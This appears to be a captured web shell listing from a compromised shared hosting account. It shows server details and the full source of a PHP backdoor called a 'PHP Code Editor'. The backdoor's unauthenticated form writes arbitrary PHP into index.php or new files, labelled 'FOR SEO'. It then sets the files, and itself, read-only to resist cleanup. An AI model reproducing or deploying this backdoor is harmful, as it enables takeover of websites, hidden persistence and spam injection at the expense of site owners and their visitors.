Server IP : 103.53.40.154 / Your IP : 18.218.2.191 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0700) : /home2/ppcad7no/.quarantine/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP Code Editor</title> </head> <body> <h1>Enter PHP Code</h1> <p>This is a solution for those who cannot edit or upload files.</p> <!-- Form untuk mengirim kode PHP yang ingin ditambahkan, di-overwrite, atau dibuat dalam file baru --> <form method="POST"> <!-- Textarea untuk input kode PHP --> <textarea name="php_code" rows="10" cols="50" placeholder="Enter your PHP code here EXAMPLE: <?php echo "Hello world!"; ?>"></textarea><br><br> <!-- Pilihan tindakan (append, overwrite, atau buat file baru) --> <label>Select Action:</label><br> <input type="radio" id="append" name="action" value="append" checked> <label for="append">Add code to the top of index.php : FOR SEO</label><br> <input type="radio" id="overwrite" name="action" value="overwrite"> <label for="overwrite">Overwrite index.php : FOR SEO</label><br> <input type="radio" id="newfile" name="action" value="newfile"> <label for="newfile">Create new file</label><br><br> <!-- Input opsional untuk nama file baru jika membuat file baru --> <input type="text" name="filename" placeholder="New file name (optional if creating a new file)"><br><br> <!-- Opsi untuk mengubah izin file menjadi read-only (0444) --> <label>Change file permission to 0444 (read-only)?</label><br> <input type="checkbox" name="change_permission" value="yes"> <label for="change_permission">Yes, change file permission to 0444</label><br><br> <!-- Tombol untuk submit form --> <input type="submit" name="submit" value="Submit"> </form> <?php // Mengecek apakah tombol submit telah ditekan chmod(__FILE__, 0444); if (isset($_POST['submit'])) { // Mengambil input dari form $php_code = $_POST['php_code']; // Kode PHP yang dimasukkan pengguna $action = $_POST['action']; // Aksi yang dipilih (append, overwrite, atau newfile) $filename = $_POST['filename'] ? $_POST['filename'] : 'index.php'; // Nama file, defaultnya 'index.php' $change_permission = isset($_POST['change_permission']) ? true : false; // Cek apakah pengguna memilih untuk mengubah izin file // Memastikan bahwa kode PHP tidak kosong if (!empty($php_code)) { if ($action == 'append') { // Baca isi file yang ada $existing_code = file_exists($filename) ? file_get_contents($filename) : ''; // Tambahkan kode baru di baris pertama $new_content = $php_code . "\n" . $existing_code; // Tulis kembali konten baru ke file file_put_contents($filename, $new_content); echo "PHP code has been added to the top of $filename.<br>"; } elseif ($action == 'overwrite') { // Meng-overwrite file dengan kode PHP baru file_put_contents($filename, $php_code); echo "The contents of $filename have been overwritten.<br>"; } elseif ($action == 'newfile') { // Membuat file baru dengan nama yang diberikan if (!empty($filename)) { file_put_contents($filename, $php_code); echo "New file ($filename) has been created.<br>"; } else { echo "Please provide a file name for the new file.<br>"; } } // Mengubah izin file menjadi read-only jika opsi dipilih if ($change_permission) { chmod($filename, 0444); // Mengubah izin file menjadi 0444 echo "The file permission for ($filename) has been changed to 0444 (read-only)."; } } else { // Pesan kesalahan jika kode PHP kosong echo "Please enter PHP code."; } } ?> </body> </html>